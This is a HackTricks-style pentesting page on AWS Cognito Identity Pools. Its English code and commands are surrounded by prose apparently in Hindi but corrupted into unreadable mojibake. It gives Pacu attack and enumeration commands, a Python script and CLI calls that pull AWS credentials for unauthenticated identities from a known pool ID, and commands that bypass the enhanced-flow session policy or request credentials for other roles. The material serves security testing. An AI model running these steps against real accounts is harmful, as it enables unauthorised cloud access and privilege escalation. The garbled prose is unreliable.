Cognito Identity Pools

Support HackTricks

Basic Information

рдкрд╣рдЪрд╛рди рдкреВрд▓ рдЖрдкрдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЕрд╕реНрдерд╛рдпреА рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рдХрд░ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рднреВрдорд┐рдХрд╛ рдирд┐рднрд╛рддреЗ рд╣реИрдВред рдпреЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рд╡рд┐рднрд┐рдиреНрди AWS рд╕реЗрд╡рд╛рдУрдВ, рдЬреИрд╕реЗ рдХрд┐ Amazon S3 рдФрд░ DynamoDB, рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИрдВред рдкрд╣рдЪрд╛рди рдкреВрд▓реЛрдВ рдХреА рдПрдХ рдЙрд▓реНрд▓реЗрдЦрдиреАрдп рд╡рд┐рд╢реЗрд╖рддрд╛ рдпрд╣ рд╣реИ рдХрд┐ рд╡реЗ рдЧреБрдордирд╛рдо рдЕрддрд┐рдерд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рдкрд╣рдЪрд╛рди рдкреНрд░рджрд╛рддрд╛рдУрдВ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддреЗ рд╣реИрдВред рд╕рдорд░реНрдерд┐рдд рдкрд╣рдЪрд╛рди рдкреНрд░рджрд╛рддрд╛ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ:

  • Amazon Cognito рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкреВрд▓

  • рдлреЗрд╕рдмреБрдХ, рдЧреВрдЧрд▓, Amazon рдХреЗ рд╕рд╛рде рд▓реЙрдЧрд┐рди, рдФрд░ Apple рдХреЗ рд╕рд╛рде рд╕рд╛рдЗрди рдЗрди рдЬреИрд╕реЗ рд╕рд╛рдорд╛рдЬрд┐рдХ рд╕рд╛рдЗрди-рдЗрди рд╡рд┐рдХрд▓реНрдк

  • OpenID рдХрдиреЗрдХреНрдЯ (OIDC) рдХреЗ рд╕рд╛рде рдЕрдиреБрдкрд╛рд▓рди рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдкреНрд░рджрд╛рддрд╛

  • SAML (рд╕рд┐рдХреНрдпреЛрд░рд┐рдЯреА рдЕрд╕реЗрд░реНрд╢рди рдорд╛рд░реНрдХрдЕрдк рд▓реИрдВрдЧреНрд╡реЗрдЬ) рдкрд╣рдЪрд╛рди рдкреНрд░рджрд╛рддрд╛

  • рдбреЗрд╡рд▓рдкрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкрд╣рдЪрд╛рди

# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

Identity Pool рд╕рддреНрд░ рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдкрд╣рд▓реЗ рдПрдХ рдкрд╣рдЪрд╛рди ID рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдпрд╣ рдкрд╣рдЪрд╛рди ID рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╕рддреНрд░ рдХреА рдкрд╣рдЪрд╛рди рд╣реИред рдЗрди рдкрд╣рдЪрд╛рдиреЛрдВ рдореЗрдВ 20 рддрдХ рдбреЗрдЯрд╛ рд╕реЗрдЯ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ 1MB рддрдХ рдХреА рдХреБрдВрдЬреА-рдореВрд▓реНрдп рдЬреЛрдбрд╝реЗ рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдпрд╣ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдЬрд╛рдирдХрд╛рд░реА рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИ (рдЬреЛ рд╣рдореЗрд╢рд╛ рдЙрд╕реА рдкрд╣рдЪрд╛рди ID рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛)ред

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╕реЗрд╡рд╛ cognito-sync рд╡рд╣ рд╕реЗрд╡рд╛ рд╣реИ рдЬреЛ рдЗрд╕ рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдкреНрд░рдмрдВрдзрди рдФрд░ рд╕рдордиреНрд╡рдп рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ (рдбреЗрдЯрд╛ рд╕реЗрдЯ рдореЗрдВ, рдзрд╛рд░рд╛рдУрдВ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рднреЗрдЬрдирд╛ рдФрд░ SNS рд╕рдВрджреЗрд╢...)ред

Tools for pentesting

  • Pacu, AWS рд╢реЛрд╖рдг рдврд╛рдВрдЪрд╛, рдЕрдм "cognito__enum" рдФрд░ "cognito__attack" рдореЙрдбреНрдпреВрд▓ рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдПрдХ рдЦрд╛рддреЗ рдореЗрдВ рд╕рднреА Cognito рд╕рдВрдкрддреНрддрд┐рдпреЛрдВ рдХреА рдЧрдгрдирд╛ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдХрдордЬреЛрд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдБ рдЬреЛ рдкрд╣реБрдБрдЪ рдирд┐рдпрдВрддреНрд░рдг рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рддреА рд╣реИрдВ, рдЖрджрд┐ рдХреЛ рдЪрд┐рд╣реНрдирд┐рдд рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд┐рд░реНрдорд╛рдг (MFA рд╕рдорд░реНрдерди рд╕рд╣рд┐рдд) рдФрд░ рдкрд░рд┐рд╡рд░реНрддрдиреАрдп рдХрд╕реНрдЯрдо рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ, рдЙрдкрдпреЛрдЧ рдпреЛрдЧреНрдп рдкрд╣рдЪрд╛рди рдкреВрд▓ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕, ID рдЯреЛрдХрди рдореЗрдВ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдпреЛрдЧреНрдп рднреВрдорд┐рдХрд╛рдУрдВ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рдХреЛ рднреА рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рддрд╛ рд╣реИред

рдореЙрдбреНрдпреВрд▓ рдХреЗ рдХрд╛рд░реНрдпреЛрдВ рдХрд╛ рд╡рд┐рд╡рд░рдг рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдмреНрд▓реЙрдЧ рдкреЛрд╕реНрдЯ рдХреЗ рднрд╛рдЧ 2 рдХреЛ рджреЗрдЦреЗрдВред рд╕реНрдерд╛рдкрдирд╛ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рд▓рд┐рдП рдореБрдЦреНрдп Pacu рдкреГрд╖реНрда рджреЗрдЦреЗрдВред

Usage

рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд┐рд░реНрдорд╛рдг рдФрд░ рджрд┐рдП рдЧрдП рдкрд╣рдЪрд╛рди рдкреВрд▓ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкреВрд▓ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЗ рдЦрд┐рд▓рд╛рдл рд╕рднреА рдкреНрд░рд┐рд╡реЗрд╕реНрдХ рд╡реЗрдХреНрдЯрд░реЛрдВ рдХреЗ рдкреНрд░рдпрд╛рд╕ рдХреЗ рд▓рд┐рдП рдирдореВрдирд╛ cognito__attack рдЙрдкрдпреЛрдЧ:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

рд╕реИрдВрдкрд▓ cognito__enum рдХрд╛ рдЙрдкрдпреЛрдЧ рд╡рд░реНрддрдорд╛рди AWS рдЦрд╛рддреЗ рдореЗрдВ рджреГрд╢реНрдп рд╕рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкреВрд▓, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкреВрд▓ рдХреНрд▓рд╛рдЗрдВрдЯ, рдкрд╣рдЪрд╛рди рдкреВрд▓, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЖрджрд┐ рдПрдХрддреНрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner рдПрдХ CLI рдЯреВрд▓ рд╣реИ рдЬреЛ рдкрд╛рдпрдерди рдореЗрдВ рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рдпрд╣ Cognito рдкрд░ рд╡рд┐рднрд┐рдиреНрди рд╣рдорд▓реЛрдВ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдЕрдирдЪрд╛рд╣реА рдЦрд╛рддрд╛ рдирд┐рд░реНрдорд╛рдг рдФрд░ рдкрд╣рдЪрд╛рди рдкреВрд▓ рд╡реГрджреНрдзрд┐ рд╢рд╛рдорд┐рд▓ рд╣реИред

Installation

$ pip install cognito-scanner

рдЙрдкрдпреЛрдЧ

$ cognito-scanner --help

For more information check https://github.com/padok-team/cognito-scanner

Accessing IAM Roles

Unauthenticated

рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ AWS рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ Cognito рдРрдк рдореЗрдВ рдЕрдирдзрд┐рдХреГрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдХреЗрд╡рд▓ Identity Pool ID рдЬрд╛рдирдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рдФрд░ рдпрд╣ ID рдХреЛ рд╡реЗрдм/рдореЛрдмрд╛рдЗрд▓ рдРрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рд╣рд╛рд░реНрдбрдХреЛрдб рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рддрд╛рдХрд┐ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдПрдХ ID рдЗрд╕ рддрд░рд╣ рджрд┐рдЦрддреА рд╣реИ: eu-west-1:098e5341-8364-038d-16de-1865e435da3b (рдпрд╣ рдмреНрд░реВрдЯрдлреЛрд░реНрд╕ рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдирд╣реАрдВ рд╣реИ)ред

IAM Cognito рдЕрдирдзрд┐рдХреГрдд рднреВрдорд┐рдХрд╛ рдЬреЛ рдмрдирд╛рдИ рдЧрдИ рд╣реИ рдЙрд╕реЗ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ Cognito_<Identity Pool name>Unauth_Role рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред

рдпрджрд┐ рдЖрдк рдПрдХ рд╣рд╛рд░реНрдбрдХреЛрдбреЗрдб Identity Pools ID рдкрд╛рддреЗ рд╣реИрдВ рдФрд░ рдпрд╣ рдЕрдирдзрд┐рдХреГрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рддреЛ рдЖрдк AWS рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

рдпрд╛ рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд aws cli commands рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдПрдХ рдЕрдирдзрд┐рдХреГрдд cognito рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдХреЛрдИ рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рдорд┐рд▓ рд╕рдХрддреА, рднрд▓реЗ рд╣реА рдЗрд╕реЗ рдПрдХ рдиреАрддрд┐ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реМрдВрдкрд╛ рдЧрдпрд╛ рд╣реЛред рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЕрдиреБрднрд╛рдЧ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред

Enhanced vs Basic Authentication flow

рдкрд┐рдЫрд▓реЗ рдЕрдиреБрднрд╛рдЧ рдиреЗ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╕рдВрд╡рд░реНрдзрд┐рдд рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░рд╡рд╛рд╣ рдХрд╛ рдкрд╛рд▓рди рдХрд┐рдпрд╛ред рдпрд╣ рдкреНрд░рд╡рд╛рд╣ IAM рднреВрдорд┐рдХрд╛ рд╕рддреНрд░ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреНрд░рддрд┐рдмрдВрдзрд╛рддреНрдордХ рд╕рддреНрд░ рдиреАрддрд┐ рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдиреАрддрд┐ рдХреЗрд╡рд▓ рд╕рддреНрд░ рдХреЛ рдЗрд╕ рд╕реВрдЪреА рд╕реЗ рд╕реЗрд╡рд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧреА (рднрд▓реЗ рд╣реА рднреВрдорд┐рдХрд╛ рдХреЛ рдЕрдиреНрдп рд╕реЗрд╡рд╛рдУрдВ рддрдХ рдкрд╣реБрдВрдЪ рд╣реЛ)ред

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЗрд╕реЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рд╣реИ, рдпрджрд┐ рдкрд╣рдЪрд╛рди рдкреВрд▓ рдореЗрдВ "рдмреЗрд╕рд┐рдХ (рдХреНрд▓рд╛рд╕рд┐рдХ) рдкреНрд░рд╡рд╛рд╣" рд╕рдХреНрд╖рдо рд╣реИ, рддреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЙрд╕ рдкреНрд░рд╡рд╛рд╣ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рд╕рддреНрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХреЗрдЧрд╛ рдЬреЛ рдЙрд╕ рдкреНрд░рддрд┐рдмрдВрдзрд╛рддреНрдордХ рд╕рддреНрд░ рдиреАрддрд┐ рдХреЗ рдЕрдзреАрди рдирд╣реАрдВ рд╣реЛрдЧрд╛ред

# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

рдпрджрд┐ рдЖрдкрдХреЛ рдпрд╣ рддреНрд░реБрдЯрд┐ рдорд┐рд▓рддреА рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдХрд╛рд░рдг рд╣реИ рдХрд┐ рдмреБрдирд┐рдпрд╛рджреА рдкреНрд░рд╡рд╛рд╣ рд╕рдХреНрд╖рдо рдирд╣реАрдВ рд╣реИ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ)

An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.

IAM рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдПрдХ рд╕реЗрдЯ рд╣реЛрдиреЗ рдкрд░ рдЖрдкрдХреЛ рдпрд╣ рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдХреМрди рд╕рд╛ рдПрдХреНрд╕реЗрд╕ рд╣реИ рдФрд░ рдЕрдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ.

рдкреНрд░рдорд╛рдгрд┐рдд

рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рдкреНрд░рдорд╛рдгрд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рд╢рд╛рдпрдж рд╡рд┐рднрд┐рдиреНрди рдЕрдиреБрдорддрд┐рдпрд╛рдБ рджреА рдЬрд╛рдПрдВрдЧреА, рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рдЖрдк рдРрдк рдХреЗ рдЕрдВрджрд░ рд╕рд╛рдЗрди рдЕрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдРрд╕рд╛ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ рдФрд░ рдирдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВред

рдкреНрд░рдорд╛рдгрд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдкрд╣рдЪрд╛рди рдкреВрд▓ рдореЗрдВ рднреА рднреВрдорд┐рдХрд╛рдПрдБ рдЙрдкрд▓рдмреНрдз рд╣реЛ рд╕рдХрддреА рд╣реИрдВред

рдЗрд╕рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдкрд╣рдЪрд╛рди рдкреНрд░рджрд╛рддрд╛ рддрдХ рдкрд╣реБрдБрдЪ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рд╕рдХрддреА рд╣реИред рдпрджрд┐ рд╡рд╣ рдПрдХ Cognito User Pool рд╣реИ, рддреЛ рд╢рд╛рдпрдж рдЖрдк рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЦреБрдж рдПрдХ рдирдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред

IAM Cognito рдкреНрд░рдорд╛рдгрд┐рдд рднреВрдорд┐рдХрд╛ рдЬреЛ рдмрдирд╛рдИ рдЧрдИ рд╣реИ рдЙрд╕реЗ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ Cognito_<Identity Pool name>Auth_Role рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред

рд╡реИрд╕реЗ рднреА, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдг рдпрд╣ рдЕрдкреЗрдХреНрд╖рд╛ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдЖрдкрдиреЗ рдкрд╣рд▓реЗ рд╣реА Cognito User Pool рдореЗрдВ рд▓реЙрдЧ рдЗрди рдХрд┐рдпрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдкрд╣рдЪрд╛рди рдкреВрд▓ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ (рдпрд╣ рди рднреВрд▓реЗрдВ рдХрд┐ рдЕрдиреНрдп рдкреНрд░рдХрд╛рд░ рдХреЗ рдкрд╣рдЪрд╛рди рдкреНрд░рджрд╛рддрд╛ рднреА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ)ред

aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# рдкрд┐рдЫрд▓реЗ рдХрдорд╛рдВрдб рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╕реЗ identity_id рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>


# IdToken рдореЗрдВ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ User Pool Groups рдХреЗ рдХрд╛рд░рдг рдХреМрди рд╕реА рднреВрдорд┐рдХрд╛рдПрдБ рдкреНрд░рд╛рдкреНрдд рд╣реИрдВ
# рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рднреВрдорд┐рдХрд╛ рдХреЗ рд▓рд┐рдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП --custom-role-arn рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
    --custom-role-arn <role_arn> \
    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдкрд╣рдЪрд╛рди рдкреНрд░рджрд╛рддрд╛ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рд╡рд┐рднрд┐рдиреНрди IAM рднреВрдорд┐рдХрд╛рдПрдБ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХреА рдЬрд╛рдПрдВ рдЬрд┐рдирдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд▓реЙрдЧ рдЗрди рд╣реЛ рд░рд╣рд╛ рд╣реИ рдпрд╛ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ (рджрд╛рд╡реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ) рдХреЗ рдЖрдзрд╛рд░ рдкрд░ред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдПрдХ рд╣реА рдпрд╛ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рджрд╛рддрд╛рдУрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╡рд┐рднрд┐рдиреНрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рддрдХ рдкрд╣реБрдБрдЪ рд╣реИ, рддреЛ рд▓реЙрдЧ рдЗрди рдХрд░рдирд╛ рдФрд░ рдЙрдирдХреЗ рд╕рднреА IAM рднреВрдорд┐рдХрд╛рдУрдВ рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдлрд╛рдпрджреЗрдордВрдж рд╣реЛ рд╕рдХрддрд╛ рд╣реИред

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

Last updated